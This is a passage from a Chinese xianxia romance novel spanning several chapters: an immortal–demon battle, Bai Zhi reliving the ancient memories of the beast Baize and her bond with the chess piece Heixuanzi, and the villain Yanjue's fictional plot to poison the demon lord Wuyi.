白芷像没看到一般,继续平静的说:“我们本就是正邪不两立的仇敌,我念你赐血恩情,偷出封脉丹助你逃脱,如今你反倒入侵仙界,我只后悔当初自己执迷不悟。”
她再度转身面对众仙家:“白芷当年犯下大错,本是万死难辞其咎,金仙却网开一面,饶我不死,反封我为天极。”
众人惊讶目光中,她继续说:“实则,死是最简单不过的事情,但我酿成大祸,需得亲手补救,怎可一死了之?梵天上仙已逝,金仙便命白芷接替天极之位,肩负重任。”
她这番话,不单是说给自己听,也是给众多对她有疑惑的仙族同胞听。
此话一出,众人果然对她更信服几分。
至于天香的事情,无奕恐怕还不得知,她也将绝口不提,只当一场荒谬的梦境,梦醒了,自己也就和以前再无关联。
他想寻小花妖的魂魄,只怕这辈子都不可能寻到了。小花妖勘不破情关,已然死在他手中。
从
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现在开始,她只是白芷。从今以后他们桥归桥,路归路。
无奕淡淡道:“当年之事多谢你出手相助,但那是你自己的选择,今日,我一定要拿下紫胜岛。”
白芷摇摇头:“你搞错了,我没有拿这件事求你。我只是为自己做的错事后悔,白芷已是清虚天极,自然和众仙族共进退,哪怕赔上这条性命,也要守住这方天地。”
万法嘴角几乎不可察觉的上勾:“好,观尘天极果然神志清明,已割断尘缘往事,但你刚恢复法力,也不要太勉强自己。”
他指的是白芷运息受阻一事,此事实在蹊跷,只是眼下她没功夫探究。
白芷点点头,回到天极行列中来:“白芷绝不给众仙家拖后腿。”
金仙召集众天极:“上下一心,众志成城,今日我等齐心协力,必能击退外敌。”
万法微微一笑:“很好,迷途知返。”
衍决心中简直大喜,小花妖如今已然蜕变成仙体,可以和幻镜共鸣。
方才又和无奕彻底决裂,只要通过镜子召唤回她原本的记忆,白泽就回彻底回归。
届时他谋划已久的愿望终于就要实现,到时候就再也没人能将他们分开了。
天帝下令:“众仙家一齐击退魔族!”
眼见冲突渐起,诸境天极一齐催动法力布阵,水火风雷四大天将携法宝出击,天色巨变,昆仑雪凌冽的剑风划破铺天盖地的暴涨灵息。
菩提、四海、清虚三大境天主结印为媒,借助漫天飞剑,逐渐摆成一个巨大的九转天罡剑阵。
赤地操控漆黑锁链与剑阵周旋,铁链暴涨数倍,但剑风席卷天地,在众魔修身上割出无数细小的伤口,渗出殷红血丝。
魔息狂暴的乱流中,千里来无影去无踪,手刃无数仙族弟子,但黄鹂召来火元朱雀,只听一声尖鸣,朱雀险些撕掉了千里一条手臂。
白芷幻化出绫带绞住魔修的头颅就是一抽,所有人施法战斗之际,摩妙悄然朝着剑阵中央丢出浮华幻境。
剑阵中央灵息暴乱,即便是上古神器也遭不住这等几十名上仙狂轰乱炸的法术。
果然,顷刻间境身逐渐裂痕满布,无奕携风雪而过,正好一剑砍在了浮华幻镜上。
白芷惊呼:“糟了!浮华幻境!”
众人这才发觉,碎裂的镜身发出耀眼的白光,周围的气流也似乎随之旋转,仿佛漩涡一般,将所有东西吸入进去。
漩涡越来越大,逐渐蔓延至整座紫胜岛,遮天蔽日,有人先行发现这奇怪诡异的一幕,妄图施法逃离,却无法反抗,终究不可控被吸入中央。
白芷踉跄几步,跌坐在地上,狂风大作中,也一步步被吸入镜中漩涡之中。
“这是怎么一回事!”周遭满是杂乱人声。
奇怪的是,越是被吸进镜中漩涡,她内心却越是平静,不觉间,有人握上她的手。
一双凤眸盛满笑意:“阿泽。”
白芷刚想开口,却发现头沉沉的,已然张口不能。
万法握紧她的手,微微低下头,脸凑得越来越近,几乎要和她贴上,只是看着她的眼睛说道:“你还没有陪我下完那盘棋。”
有什么在脑海中呼之欲出,却总是隔层纱,看不真切。
“黑,玄子......”一个陌生又熟悉的名字脱口而出,她已经彻底昏睡过去。
53. 回忆(一)
在她被黑暗彻底吞没后,云雾散去,发现自己还是在紫胜岛上。
只不过此时的紫胜岛似乎只有一个轮廓,光秃秃的,既无灼灼棠花,也无幽兰修竹,云雾倒是多的很,把一切都遮的似雾蒙蒙。
白芷再向周围瞧一眼,摩妙已不知去向,她也再记不起黑玄子这个名字代表着什么。
正暗自出神,忽然听到远处有呼喊声传来:“白泽,白泽!”
虽然这不是她的名字,但仿佛知道在叫自己一般,她还是顺着声音走了过去。
只见一颗盘根错节的古树伫立中央,其下随意摆着石桌石凳,桌上的一盘未完成的棋局,白鹤立于长生树上,在见到她的一刻,忽的飞下。
石凳上坐着一个白衣男子,白鹤一步步走到他身旁,白衣男子轻抚鹤顶,仙鹤便张开翅膀飞走了。
她看他衣着高贵,可惜无论离得多近,都丝毫看不清脸,难道是什么上古真神,旁人无法窥见面容。
“白泽,看看这盘棋。”白衣男子招呼着,一边解释,“这是吾新寻觅的一方小世界,需得好好构建。”
她无奈开口想说,自己不叫白泽,却只听见自己喉间发出几声嗷呜嗷呜的兽类叫声。
她这才发觉,自己压根不是人形,而是一头浑身雪白头上长着两只角的仙兽!原来自己就是传闻中的上古仙兽白泽。
眼前白衣男子则是这片大陆的创世神本尊,她正在经历的,正是封印在浮华幻镜中,白泽的远古记忆。
而那棋盘更是奇特,只是盯着看了一会,她就深陷进去。
这张棋盘好像忽然变的无限大,向远处延伸,一颗颗棋子陡然高大,化作山峰,再远处几枚化做浅溪,地形之间逐渐交错,汇成了上古地脉的模样。
白衣男子的声音缥缈如云:“我还创造了许多不同的种族,既然你是仙兽,就由仙族带领他们吧。”
又一颗颗棋子落入这张徐徐铺开的地脉绘卷之中,逐渐变化成一个个星光小点,小点孵化,孕育生灵,而后分化成各种族。
白芷不禁感叹,原来天下尽在这张棋盘。
只是这张棋盘演化的太漫长太繁琐,她盯着看身处其中出神,不觉已过三日。
成天看棋盘演化的日子倒也有些无趣,马上就来了新的变故。
一名黑衣男子忽然出现在紫胜岛上,
在被黑暗彻底吞没后,雾瘴散去,她发现自己还是在紫胜岛上。
此时的紫胜岛仿佛有点陌生,只有一个轮廓,光秃秃的。
既无棠花烂漫,也无茂林修竹,云雾倒是多的很,把四处遮的严严实实,陡生神秘。
白芷环顾一周,有些恍然之感。
万法已不知去向,她也再记不起黑玄子这个名字代表着什么。
忽闻远处传来呼喊声:“白泽,白泽!”
白泽?三界中无人不知,这是天道在混沌初开时点化的第一只远古仙兽,可惜白泽在初次仙魔大战时就陨落了。
这人虽然未曾唤她,白芷还是不自觉顺着声音走了过去。
云雾散开,眼前一颗盘根交错的高大古树伫立中央,树下摆着一套石桌凳,桌上有一盘未完的棋局。
白鹤立于长生树上,在见她之时,忽的鸣叫一声,飞扑而下。
石凳上坐着一位白衣男子,白鹤姿态轻盈,扑着翅膀踱步到他身旁,男子轻抚鹤顶,仙鹤便舒展身体飞走了。
他声音飘渺,且无论离得多近,都丝毫看不清脸,难道是什么上古真神,旁人无法窥见真容。
“白泽,这里。”白衣男子招呼她过去,“这是吾新寻觅的一方世界,你看构建的如何?”
她刚想开口说自己不是白泽,却只听见自己喉间发出几声嗷呜嗷呜的兽类叫声。
她这才惊觉,自己压根不是人形,而是一头浑身雪白头上长着两只角的仙兽!
原来此刻,她寄生在仙兽躯体内,就是白泽。
她正在经历的,则是封印在浮华幻镜中,白泽的远古记忆。
如此说来,眼前的白衣男子应该就是这片大陆的创世神,天道本尊。
想明白后,她受天道指引,盯着棋盘看了一会,只是一会,她就深陷进去。
这张棋盘忽然变的无限大,向远处延伸,一颗颗棋子陡然高大,化作山峰。
再远处几枚化做浅溪,地形之间逐渐交错,汇成了上古地脉的模样。
白衣男子十分满意:“光有地脉缺乏生机,于是我还创造了许多不同的种族,你看。”
又一颗颗棋子落入这张徐徐铺开的地脉绘卷之中,逐渐化成一个个星光小点,变幻孵化,孕育生灵,最终分化成各族。
白芷这才明白,原来天下是在一张棋盘里构建造就的!
只是这张棋盘演化的太漫长繁琐,她身处其中不觉,回过神来才发现满天星河分明,天黑了。
她感叹造物主的神奇,凝望着夜幕沉沉睡去,直到被一声谩骂惊醒。
一名黑衣男子忽然出现在紫胜岛上:“狗屁天道,出来!凭什么事事都由你说了算。”
天道现身:“何人如此聒噪?”
那人浑身上下的衣衫破破烂烂,显然为了上紫胜岛吃了不少苦,却十分嚣张,似是非常不满。
天道疑惑不解:“你是魔族,为何不远万里,上紫胜岛啊?”
魔族男子气的将石凳踹翻:“你创的种族各有优劣,妖、鬼、人、魔,各族融洽和谐,可唯独仙族是完满命格,本王不服。”
石凳翻倒,棋盘颤抖,惊起枝头鸾鸟,白芷也吓的一哆嗦。
谁能想到,此人衣着平平,貌不惊人,竟是魔族现任君王。
天道闻言端详棋盘,见化作各种族的棋子分别变成了紫色妖气、黑色魔气和红色鬼气,其中黑色的数量尤为突出。
他感叹道:“吾造出各族,原本是无数外道皆以仙族为主,却不知外族中魔族强盛,尤其兴盛,自然不服仙族统治。”
天道的本意是万物竞争,相互制衡,既然魔族不服现状,他就给这位黑衣男子一个机会。
天道将被打翻棋盘复原:“这样吧,此地有长生树,吾便以长生做赌注。你与我下一盘天地棋局,若是你赢,则魔族得长生,若我赢,则长生依旧为仙族所得。”
“此外,魔族短寿,下一盘天地棋局耗时许久,无论你是否得赢,都会寿命耗尽而亡。”
“这有何惧?好。”魔君竟毫不犹豫就答应了。
只要能为
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族人赢得长生,他的生死不过是沧海一粟。
原本以为魔君不通棋理,这场对局很快便落下帷幕,谁知他竟越来越上道,丝毫不输天道。
从此之后,二人一直在长生树下对弈,日复一日,从不疲倦。
白芷眼见自己被困于此地数日,不知外面仙魔大战如何。
也曾逡巡几日,却始终无法走出这座小小岛屿,已然迷途此中。
无奈,自己只能看他们下棋,整座岛上只有这盘棋,和对弈的二人。
或许想离开回忆,机缘就在此中。
某一天,棋盘里果然传来了别的声音。
“这两人棋下的也太烂了,两个臭棋篓子,真是快看不下去了!”
白芷吓了一跳,连瞌睡合上的眼皮子都睁开了,谁在说话?
她茫然朝着四周一看,发现并无他人。
天道和魔族男子依旧在下棋,无比沉浸,她醒来的动作也没打扰到他们。
那声音又来了:“这两个人下的都是一塌糊涂,原本充沛灵韵的地脉被天道下棋划的破破烂烂。魔君也是可笑,陪他下这么久棋,只为求长生。岛上一日数年,就算下赢,他早已作古,世事变迁,族人谁还记得他?”
白芷默默听着,觉得这人说的有几分道理,她只是下意识点点头。
那声音似很惊喜:“我说,两角兽,你居然能听见我说话?你赞成我的看法?”
什么两角兽,白芷心中纳闷,似乎找到了声音的来源。
“你这身白色毛发顺的发亮,还挺好看的,就是这对角也太丑了点。”
她这回送算是听清谁在讲话了,谁能料到,竟是棋盘上一枚黑子正在说话。
白芷即刻回道:“小小黑玄子,我可是远古仙兽,居然叫我两角兽?!”
黑玄子好不容易找到一个能听见他说话的人,可不敢随便把她气跑。意识到她生气,他迅速转变态度。
他忙说道:“别生气,别生气,你是仙兽,我知道。白老头说过,叫……叫什么名字来着?”
奇怪的是,她发出嗷呜嗷呜的声音,这枚棋子居然也能听懂她在说什么,莫非是灵物相通?
白芷正思索着,到底告诉他真名,还是现在寄生原主的名字“白泽”。
她却已似乎不受控制的开了口:“本仙兽名叫白泽。”
原来回忆不会因为她的举动而改变,她只是寄生白泽身躯内观望这一切的灵魂罢了。
黑玄子见她不再生气,继续滔滔不绝:“好好,白泽仙兽。”
“且不说这场对弈,光这盘棋布局,也是一塌糊涂,你看这道山脉,怎得生在这里,岂不是平白阻了水源,影响到远处,这里便会土地贫瘠,届时农民耕种困难,实在可惜。”
他滔滔不绝一大堆,最后以一句“论棋术,这两人差我远了”收尾。
白芷顺着他说的地方看去,只觉得他说的虽然对,可地脉不就是这般变化,才拥有了各式各样的地形吗?
若是只有奇秀山河,没有怪石乱坡,这天下看去也好生无趣。
只不过她实在无事可干,整天也就和黑玄子说说话了,无奈只能听他每日口若悬河。
一来二去,她们二人竟熟络起来。
54. 回忆(二)
未曾想,这盘棋下了很久很久才落下帷幕。
最后因天道自有规矩束缚,下棋畏手畏脚,竟是魔君险胜而赢。棋下完了,魔君与天道告别。
离开岛屿的那一刻,他便灰飞烟灭了,身影瞬间消散,空中只余几点灵齑。
魔族命格残缺,不入轮回,岛屿上有尚且仙力维持,他不会死去,一旦离开,肉身便只能陨灭。
魔君虽死,毕生修为却化作一颗魔珠,留在了紫胜岛上。天道愿赌服输,将所有人渴望的长生赐予了魔族。
从此仙族不再是最强的存在,完满的命格中出现了唯一敌人,便是获得了长生魔族。
沧海桑田,世事变迁,又过千年。魔族凭借长生,开始逐渐兴旺起来,甚至成为和仙族唯一抗衡的存在。
彼时,天道已经对这里失去兴趣,决定离开,寻觅新的世界。
他临走前,托付任务给白泽:“切记守护三界和平。”
提及魔珠时,天道继续说:“此珠蕴含无限法力,旁族夺去恐怕会强大到颠覆三界。就将这颗珠子封印在紫胜岛,不要让任何人获取。”
白泽叫了两声算作应允,在一片金光中,天道身影渐渐淡去。
为了守护魔珠,阴差阳错下,二人又一起于紫胜岛上呆了许久。
日复一日,又千年后。
魔族日益强盛,仙界岌岌可危。
仙族长老日夜观象,面色堪忧:“不好,魔族越来越强大了,我们需要尽快选出一位领导者,带领仙族重新崛起。”
诸位仙族前辈集中商量,一致决定选出一位天帝,建天宫,统天界。
彼时的仙界也不过一片荒芜洲岛,压根没什么境天福地。众人跋山涉水,终于找到一个看起来灵气最为充沛的岛屿——紫胜岛。
此地棠花遍地,更有远古仙人足迹,虽上神早已离开这方小世界,但他留下的一盘残棋,足以耐人寻味。
更令人心动的是,此岛似乎暗藏天地至宝,远远望去,甚至有紫气东来之象。众仙便定址于此,就要开始建造天宫。
黑玄子从棋盘上跳出来阻拦:“你们不能拆了这里,此地是我与白泽的居所。”
众仙有些摸不着头脑:“你又是谁啊?此地乃洪荒福岛,已然没有任何仙人的生活气息,谁寻到此处,自然归谁。”
黑玄子气的反驳:“谁说此地没有仙人居住,这里是上古仙兽白泽的住所,仙族小辈,你们也太过放肆。”
他不说也罢,一说,仙族众人更好笑了。
几人笑着嘲讽:“满口胡言,传闻天道本尊早就离开这方小世界,白泽也不知去向,我看是此地藏有罕见灵宝,你生怕我族窃取,想独自霸占。”
“你说这里是白泽的居所,白泽又在哪呢!哈哈哈。”
众仙族完全不把他放在眼里。
黑玄子心头急切,眉间更聚阴霾。召来屏障,就要将众人驱逐出紫胜岛外。
可惜他道行太浅,众仙看破他真身,连连摇头:“哈哈哈,不过一颗小小棋子,口气这么大,还想阻拦我仙族大业。”
白泽听闻吵闹声,忙从雾中跳出来,阻拦众仙:“放肆!我就是远古仙兽白泽,奉天道之命守护魔珠,此地不能建造天宫,尔等请回吧。”
她召唤出自己的本命法器,浮华幻镜,可惜她虽一幅正经模样,却迎来众仙捧腹大笑:“你是白泽?我还是天道呢!”
白泽的传说已随着天道离去一并消散了,此时压根没人信她是白泽。
“传闻白泽早就随天道离去了,区区妖兽也敢装作远古仙兽。”
几人当即挥手施法,一阵大风刮过,白泽用幻镜抵挡了伤害,身后的魔珠却露了出来,在她震惊的目光中,众仙族继续向前。
“快看!那就是紫胜岛上的灵珠,原来妖兽是为了藏住这个宝贝。”
黑玄子意识到不对劲,忙施法阻拦众仙。
众仙交谈道:“我看,这只妖兽就是被魔珠吸引来的,这枚棋子也碰巧生出了灵智,在此捣乱,若是放任其自由,怕会打扰我们建设天宫。”
“所言甚是,观此棋局,像是天地化形,蕴含无数奥妙,最好不要妄自改动。”
天道留下的天地棋局不可改动,几人纷纷点头,赞成这个看法。
一人挥手将黑玄子打回原位:“如此,便将这颗棋子封印回棋盘之中吧。”
说完,众人也不顾他咒骂,一掌就将他封印回了棋盘里。
白泽一步步后退,仙族弟子们围逼上来,身后就是天道留下的魔珠。
黑玄子被封印进了棋盘,若只靠她一人,恐怕无法战胜这么多仙族。
几人盯着那颗魔珠:“你们看,那珠子散发莹润光华,想必不凡,就是此物招来特殊天象,妖兽拼死守护此珠,我族若夺得,必大有裨益。”
白芷能感到白泽心中强烈的愤怒与不甘,决不能让魔珠被他族夺走。
她一步步后退,忽然对着棋盘中黑玄子说道:“你说了这么多棋道,我也学会了一些,可惜,你我还没能对弈一场。黑玄子,我要离开紫胜岛了,这件事只能等以后。”
白泽绝望地朝着岛下望了一眼,只见云尘滚滚,仙雾氤氲,望不到底。
黑玄子沉默片刻,有种不安感油然而生:“阿泽,你要去哪里?日后是否......再也不能见你了。”
她望着岛屿外雾蒙蒙的天:“仙族相逼,我只能带着魔珠离开这里,天道说了,此物被任何人夺去都会影响和平。”
黑玄子心头一紧,他已被封印在棋盘中,怪他太弱小,无法保护阿泽,自然无法和她一起走。
半晌,黑玄子只是说道:“......好,我一定会去找你的。”
白泽神色凄然,幻化出一枝海棠花,放在棋盘上。
“受魔珠灵韵影响,紫胜岛生出了第一株棠花,那日我见到,觉得芬芳清丽,喜不自胜。你没能见到,实在可惜,我今日就要遁走魔瘴,保全魔珠,此去无期,便以此花枝作信物,约定我们的重逢之期吧。”
黑玄子见那枝上,花瓣柔软,尚有莹润水珠,想必是刚摘下来的。
她回望最后一眼,不再犹豫,咬牙纵身一跃,携带魔珠毅然遁走魔障,逃去了魔界。
白泽此举无异于自寻死路,众仙族大惊,不过既然紫胜岛已经得到,此妖兽带着那颗魔珠逃跑也罢。
彼时的魔界魑魅魍魉齐聚,去那里只怕尸骨无存,众仙摇摇头感叹,就算再稀有的灵宝,也比不上性命重要吧?
众人一笑而过,没再管妖兽与魔珠。
黑玄子
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则在棋盘中气极沉默不语,只得隐忍,无法反抗。
曾经他想指责天道落子有误,天道压根不理他。现在他想阻止仙族破坏紫胜岛,却被封印回天地棋盘中。
就连阿泽都为了守护魔珠,被迫跳入魔瘴。
若是他有力量,又怎会如此憋屈?他要离开棋盘,要去找白泽,再也不过这种被人摆弄的生活。
他闭上双眼,多说无益,等他离开这里,自然会用实力让别人听话。
......
此时的魔界,只有伸手不见五指的黑雾,混沌一片,有无数大魔侵扰,恶螭盘踞,群妖乱舞。
重重瘴气中,可见两处危峰成犄角之势互峙,其下是笼在雾中的一大片乱石坡,别说生灵了,简直是寸草不生。
她不敢乱走,此地恶兽居多,几乎危机四伏。此行远比想象中更凶险,白芷在黑暗中摸索。
虽然是灵魂寄生状态,她仍是感到此地凉飕飕的,十分阴森。
她寻到一处瘴气稍弱一些的角落,将怀揣的魔珠放出。
那是一颗流光溢彩的珠子,四周的白光好似拥有实体,在黑暗中散发九彩光华。
这就是她要守护的魔珠。
她无奈的叹一口气:“并不是故意来此处的,仙族想夺走你,就连黑玄子也被封印回棋盘中。我打不过他们就惨了,无奈只能逃来魔界。”
珠子浮在半空中,也无法回应她,只是默默散发光亮。
她想起黑玄子能听懂她说话,忽然有种奇怪的猜想:“据说灵物都天生开智,彼此相通,你是不是也能听见我说话?”
魔珠不言不语。
“好吧......”白芷心道应是自己想多了。
她犹豫了一下,走到珠子旁边,找个舒服的姿势趴下,确保珠子在自己视线内,事已至此,她只能接受从此躲在魔界护珠的事实。
就这么不知过去了多久,她在魔障中呆久了,连雪白毛发尖端也沾染上一丝黑祟。
白芷有些疲惫的摇头:“今天又斩杀了两只大魔,还击退了一位散仙,你可真是抢手啊,谁都想要。”
珠子过了半晌,似乎浮在空中转了转。
白芷眨眨眼睛,才发现是自己错觉,扶额:“......我真是呆久快疯了,居然认为你有了灵智。”
珠子似乎继续转了转,像是据理力争。
她彻底呆住了,甚至有些惊讶:“算了,不管你有没有灵智,我的任务是守护你,若哪天你自己化形,就有了自保能力,我也可以早些离去。”
那颗珠子瞬间不动了,继续浮在半空中。
白芷纳闷的看着魔珠,思考方才珠子的细微变化应该只是看走眼。
......
转眼又过了千年。
有一只妖兽遁走魔瘴独吞魔珠的消息已经随着仙族夺过紫胜岛后不胫而走。
仙族已经在紫胜岛上成功建立天宫,一时间强盛无人能敌,就连魔瘴也不在话下,于是仙族又打起了魔珠的主意。
碰巧,彼时魔族兴起一道传闻,说魔珠就是故去的魔君留下的化身,只要抢回魔珠就能恭迎回故去的魔君,既然如此,魔族势必要夺回此珠。
仙族与魔族都觊觎魔珠已久,又彼此忌惮,终于在某天一起出手。
55. 回忆(三)
这天来的格外快。
白芷身处白泽体内,看着混沌远处翻腾的黑雾,裹挟着暴乱灵息而来,只觉得身临其境,生出害怕感。
她脸色一白,将魔珠护在身后:“糟了,又有人来抢你了,今日的敌人似乎格外棘手。”
远处岂止是仙族的火箭,还有魔修的天煞雷,想不到今日动了这么大阵仗。
白芷幻化成人形,召出浮华幻镜,只得硬着头皮出去应战。
她忍不住无奈的叹一口气:“他们为了抢夺你,这是要将整片雾瘴翻过来。”
魔珠浮在空中,规律的一晃一晃,今日的光泽更胜往昔,似乎聚集了更多灵力。
“可惜我答应了天道要守住你的。”白芷静静看着珠子,想说什么似又说不出。
或许她早就知道这颗“祸珠”迟早会被所有人抢夺,天道所说的各族和平也根本不存在。
但天道是点化她的恩人,她还是遵守承诺前来守珠,一守就是千年。
白芷看向雾海外冲进来的魔族大军,隐约可见流火,和越来越密的天边火箭。
她上前去挡夺珠的魔族杀招,剑锋在她身躯上划出一道几乎深可见骨的伤口。
“啊!”白芷没想到这么疼,原来她寄生在这具身躯里,会共感到痛觉。
“没想到这只大妖不死心,还在守这颗珠子!”魔修不给她反应的时机,继续攻上来。
一柄寒光四射的剑破空朝她砍来。
而仙族虽没有直接对她出手,却也专注抢夺魔珠,根本不顾及她生死。
“不行,魔珠!”白芷明明想逃跑,却受到原主意识控制,义无反顾去阻挡攻击保护魔珠。
这是她的使命,既然答应了天道,就必须守护此珠。
“哼,今日魔族必得此珠,如此一来,我族就会愈发强盛,再不把仙界放在眼里,妖兽,让开!”
谁知今日企图夺珠的人太多,甚至还有妖族鬼族作祟,藏在暗处只等可乘之机一举偷走魔珠。
白芷应对密密麻麻的攻击,持续战斗着,身体与其说是疲惫,不如说是麻木。
不知过了多久,只感到胸口忽然一凉。
“嘶!”她惊恐的低头,只见半截寒光带出一串血珠从她胸前贯穿,眼前的人影逐渐模糊不清,兵戈相交声就在耳边。
吵闹声越来越远,甚至渐渐静下来。
她慢慢跪下,用手捂着胸口,怎么也止不住狂奔的鲜红。
喉间腥甜翻涌,喘气声像是破风箱般沉重,她感到身躯越来越冷,唇也止不住颤抖。
她身下流淌的血漫到了魔珠上,珠子的光华丝毫没有蒙尘于血污,反而更盛了,像是吸收了血中的灵力。
彼时,众族仍在抢夺魔珠。
她却再也控制不住沉重的眼皮,鼻尖也溢出止不住的鲜血,血腥气弥漫。
她快死了。
心脏咚咚咚的跳,像濒死挣扎。
不知为何,她感到原身散发出的浓烈悲伤,不自觉喃喃自语:“黑玄子......我回不去了。”
眼前逐渐一片黑,什么也看不见,摸不到,耳畔呼啸的剑风也远去了。
好冷,好冷,她有点害怕,怕黑玄子没等到她回去。
没能赴约,和他下完一盘棋,他会不会生气呢?
“黑玄子......”
“阿泽!!”一声大喊将她渐散的意识拉回。
可叹世事无常。
黑玄子历经千年,终于从天地棋局的封印中逃脱,第一时间就是下界寻找白泽,却亲眼见她被魔修一剑穿心。
这是他的声音吗?他向来一幅置身事外,似笑非笑的嘴脸,怎会叫的这般撕心裂肺?
为什么这么痛,难道是她真的要死了?
“阿泽,是谁伤的你!!”
她用力睁开眼,自己在一个温暖的怀抱里,好舒服,似乎不冷了,还有他独特干净的气息。
黑玄子声音带上哭腔,脸庞湿润:“阿泽,你一定要撑住,我去寻世间灵药治你,一定能治好的,一定能......”
黑玄子哭了......为什么这么难过?
她看着他,想挤出一个安慰的笑容,却怎么也控制不住的大口呕血,连伸出的指尖也颤抖着从半空中落下。
她只能轻声道:“黑玄子,别哭,我没事......”
白芷感受到原身强烈的遗憾和悲伤,她不可控的开口:“这就是你化形的样子吗?”
不知为何,明明是化形的两人第一次见面,却好像早就见过无数次,对彼此相貌都十分熟悉,不费吹灰之力就认出了对方。
“为什么?为什么要搭上性命,你好傻......”黑玄子紧紧抱着她。
她吃力的够他的脸:“你长得真好看,这是我们第一次见面,可惜,却是最后一面了......”
他们在紫胜岛上以一颗棋子一只仙兽的身份生活了很久,却是第一次在对方面前化形。
她轻轻拽住他衣角:“天道,天道交给我任务,是守护魔珠,我快守不住了,你替我守好吗?”
他感到脑中混乱至极,不假思索便应下来。
“好,我答应你。你别说话了,不要牵动伤口,等我去寻世间灵药,一定有办法救你的!”
可惜,白泽遭受高境魔修全力一击,已呈神魂具消的状态。
黑玄子留下的泪滴落在她脸颊,和血混在一起,苦涩腥咸。
好想再和黑玄子回到紫胜岛去,可惜紫胜岛已经不是以前的样子,他们也没有以后了。
“我不会死的,黑玄子......”眼皮越来越重,她忽然有些庆幸,最后一刻见到了黑玄子,还是在他怀里消散的。
她断断续续说:“我们还要一起下棋呢......我们约好了的,对吧?”
“好,我们约好的,你活着,我们就可以下棋了,你要活着,阿泽!”黑玄子的泪一滴一滴的打在她脸上。
“别哭了......”她不想看他哭,她想看那个对她喋喋不休说一个时辰棋道的他,那个和她拌嘴从不服输的他。
她伸出手,最后一次够他的脸,当指尖擦上他脸庞温热的那一刻,再也无力支撑,颓然落下。
此战之后,白泽拼死守护魔珠不敌,最终散尽修为,与众人同归于尽。
遭逢此劫后,她彻底身死,化作万千金莲,生于仙界,泽被众仙。
白泽的法器浮华幻镜则蒙尘,从此跌落在魔界尘埃里,不知去向。
此外,高境魔修还留下了一柄剑,上刻昆仑雪三字。
借着大战灵息爆发,此剑竟然蜕化开锋,银色长剑周身尽是流光,以它为圆心,周围百丈内,都是寒气扑面,即使四月天也会让人瑟瑟发抖。
是一把当世神剑无疑。
白泽与天魔都已身死,谁知那颗魔珠却沾染了白泽残躯的鲜血,因血化形,碰巧拿起了这把剑。
从此,那颗惹来纷争的魔珠消失了,强大的魔族有了唯一君主,名无奕。
仙族有了灵物金莲,众人都得了好处,白泽也已身死,仙魔大战便就此告一段落。
画面再一转,白芷又陷入黑暗。
眼前浓雾
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重重,影影绰绰,她想要伸手拂去,却怎么也看不清楚,她到底在哪?
她仿佛不存在,又仿佛是万物,清晰的感受这世间。
仿佛一阵清风吹过,眼前的迷雾随着风飘散远去,她慢慢的睁开眼,终于渐渐看清眼前。
仙界各大福岛境天内,无数地涌金莲盛开凋零,日复一日。
那是她的身躯与血肉。
原来,她化作了金莲,不知爱恨,没有灵智,总觉得忘记了什么重要的东西,却怎么也想不起来。
其中一人似是在交战中受伤,不得跪地咳血,他离的很近,耳边有低喘传来,压抑着痛苦。
“可叹你生在仙魔大战,平白被摧残,更让人怜惜。”
他只是喃喃自语,她却听得异常清晰,字字在心。怜惜......是什么意思?
这个人似乎受了很重的伤,咳出鲜血滴落,天香卷起花瓣,瑟缩一下。
这是什么?好烫,烫的有点疼。
血中浑厚的灵息顿时充满花瓣,这是从未有过的感觉,刹那间,她有了五感。
尘土覆盖在身上,有点痒,包裹着根部的是水,很冰凉,却让她安心,血是热的,渗透进花瓣,温暖了全身。
灵台开智,零碎的认知在她脑中拼凑起来,混沌和虚无散去,玉碎般的四溅,世界清晰起来。
他喘息的声音就在耳边,那声音清冷,又带一丝轻轻的无奈,她感到很难过。
天香抬起柔软的花瓣,在空中虚晃,朝着他的方向移动,却只抓住了空气。
她还没有人形,无法拥抱他。
但她的眼睛能睁开了,好想见他。
想看一看,究竟是什么样的人,会怜惜一朵金莲,赐予她生命。
她慢慢睁开眼,再也无妨忘记他
她也不知道自己对他是什么感情,但因他的血化形,似乎有种原始的依赖感。从此她跟着无奕回到了碧岚宫。
......
衍决已经快忘记黑玄子这个名字了。
房间中只有落子之声,却不见第二个人,他自我对弈,面上虽然微带笑意,眼神却寻常般冷淡。
半晌,他将手中棋子投掷入碗,静静端详这盘残局,眸光微动。
这棋局像极了当年紫胜岛上留下的,可惜他再也找不到和他聊这盘棋的人了。
抬眼望窗外,透过纱窗,街道熙熙攘攘。距白泽死在仙魔大战中,已经过去这么久了,魔族已经建立各大城池,他成为了转轮城的城主。
气氛忽的有些沉闷,端详这盘棋局,想来那时天道根本不懂各族的虚伪,没有人希望维持和平,只希望自己族群称霸。
他的阿泽太过善良,因天道留下的一句话,便守护魔珠而死。
谁知魔珠直接借她的血化形成了人身,那个称作无奕的男子,还统领起了各大魔族,如今魔族都认为他是天命主君。
不免可笑,他也配?
手不自觉攥紧,阿泽拼死保护他,他才偶得白泽精血化形,却反而去帮助这些伤害白泽的魔族。
咬牙用力,手中棋子都险些捏不稳,那枚棋子最终承受不住力量,化作齑粉。
衍决手中凝聚出一簇火焰,那黑焰烈烈,整个房间几乎立刻陷入黑雾之中,映照着他阴鸷的脸庞。
他恨所有人自私自利,恨这些人一副仁义道德的嘴脸。
就算他入地狱,也要所有人黄泉作伴!
所有人都好不到哪里去,这世间根本不存在永远的和平,除非将所有族类都一并消除,只要三界收入他囊中,也就不会再有仙魔大战了。
56. 第 56 章
他睥睨着棋子已被烧成灰烬的棋盘,挥手收起它,站到窗前,远远望去,无奕和小金莲化身的白芷站在碧花海前闲谈。
利用那只莲花精就可以把无奕弄死,之后他就能收服魔族了。
半晌,他不知对谁说道:“就先从魔族开始吧。”
摩妙天极从他身后神不知鬼不觉出现,低声道:“我已经把封脉丹交给她熟悉的侍女了。”
这种药表面上有大补之效,实则只能给仙族用,若是给魔族,就会气血逆行导致封脉。
无奕很信任那只莲花精,既然如此,他不妨利用两人关系。
衍决淡淡扫他一眼:“其他布置呢?”
“早就备好了,等无奕中封脉丹,我就带着仙族弟子趁机将他抓回去。”摩妙一副势在必得的样子。
衍决转过身来,向空中一挥手,凭空出现一面水镜,境中浮现出一柄浑身结霜的长剑。
他眸中笑意更深:“届时昆仑雪就归我了。”
那柄诞生于初次仙魔大战中的神剑,谁不想要?除去无奕,还能得到神剑昆仑雪,岂不快哉。
摩妙一撇水镜画面,没有多说,正欲离开。
衍决抬手,手中一柄折扇挡住他去路,盯着衍决盯着他看了半晌,摩妙竟觉得有些脊背发凉。
衍决冷笑道:“你答应我的事。”
摩妙显然很为难,声音有些弱下去:“这......事情还没有完成。”
